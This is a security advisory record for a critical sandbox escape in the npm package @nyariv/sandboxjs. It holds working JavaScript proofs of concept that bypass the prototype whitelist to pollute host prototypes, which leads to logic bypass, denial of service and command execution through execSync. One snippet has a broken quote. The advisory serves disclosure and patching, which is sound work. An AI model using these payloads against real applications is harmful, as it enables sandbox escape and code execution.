{"id":"GHSA-jjpw-65fv-8g48","summary":"@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution","details":"## Summary\nA sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact.\n\nThe issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.\n\n## Root Cause\n`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.\n\n- [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348)  `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');`\n\n\u003cimg width=\"1030\" height=\"593\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f\" /\u003e\n\n- [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true.\n\n\u003cimg width=\"929\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471\" /\u003e\n\n- [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.\n\n\u003cimg width=\"769\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897\" /\u003e\n\n\n## Proofs of Concept\n `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration`\n `node node_modules/rollup/dist/bin/rollup -c`\n Runtime target: `dist/node/Sandbox.js`\n \n ### Baseline: `__proto__` blocked without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\ntry {\n  const res = sandbox.compile(`return ({}).__proto__`)().run();\n  console.log('res', res);\n} catch (e) {\n  console.log('error', e && e.message);\n}\n```\n\u003cimg width=\"734\" height=\"65\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9\" /\u003e\n\n### Prototype whitelist bypass -\u003e host `Object.prototype` pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\nconst code = `\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.polluted = 'pwned';\n  return 'done';\n`;\n\nsandbox.compile(code)().run();\n\nconsole.log('polluted' in ({}), ({}).polluted);\n```\n\u003cimg width=\"549\" height=\"95\" alt=\"image\" src=\"https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30\" /\u003e\n\n\n### Logic bypass via prototype pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.isAdmin = true;\n  return 'ok';\n`)().run();\n\nconsole.log('isAdmin', ({}).isAdmin === true);\n```\n\u003cimg width=\"527\" height=\"83\" alt=\"image\" src=\"https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57\" /\u003e\n\n### DoS by overriding `Object.prototype.toString`\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.toString = function () { throw new Error('aaaaaaa'); };\n  return 'ok';\n`)().run();\n\ntry {\n  String({});\n} catch (e) {\n  console.log('error', e.message);\n}\n```\n\u003cimg width=\"500\" height=\"147\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41\" /\u003e\n\n### RCE via host gadget (prototype pollution -\u003e `execSync`)\n\n\u003cimg width=\"737\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40\" /\u003e\n\n\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst { execSync } = require('child_process');\n\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.cmd = 'id;\n  return 'ok';\n`)().run();\n\nconst obj = {}; // typical innocent object\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n\n## Additional Finding : Prototype mutation via intermediate reference\nThis does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.\n### Mutate `Array.prototype.filter` without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();\n\nconsole.log('host filter', [1,2].filter);\n```\n**Output:**\n```\nhost filter 1\n```","aliases":["CVE-2026-25586"],"modified":"2026-02-06T22:20:14.667Z","published":"2026-02-05T21:04:58Z","database_specific":{"nvd_published_at":"2026-02-06T20:16:10Z","cwe_ids":["CWE-74"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-02-05T21:04:58Z"},"references":[{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25586"},{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"}],"affected":[{"package":{"name":"@nyariv/sandboxjs","ecosystem":"npm","purl":"pkg:npm/%40nyariv/sandboxjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.29"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-jjpw-65fv-8g48/GHSA-jjpw-65fv-8g48.json","last_known_affected_version_range":"\u003c= 0.8.28"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}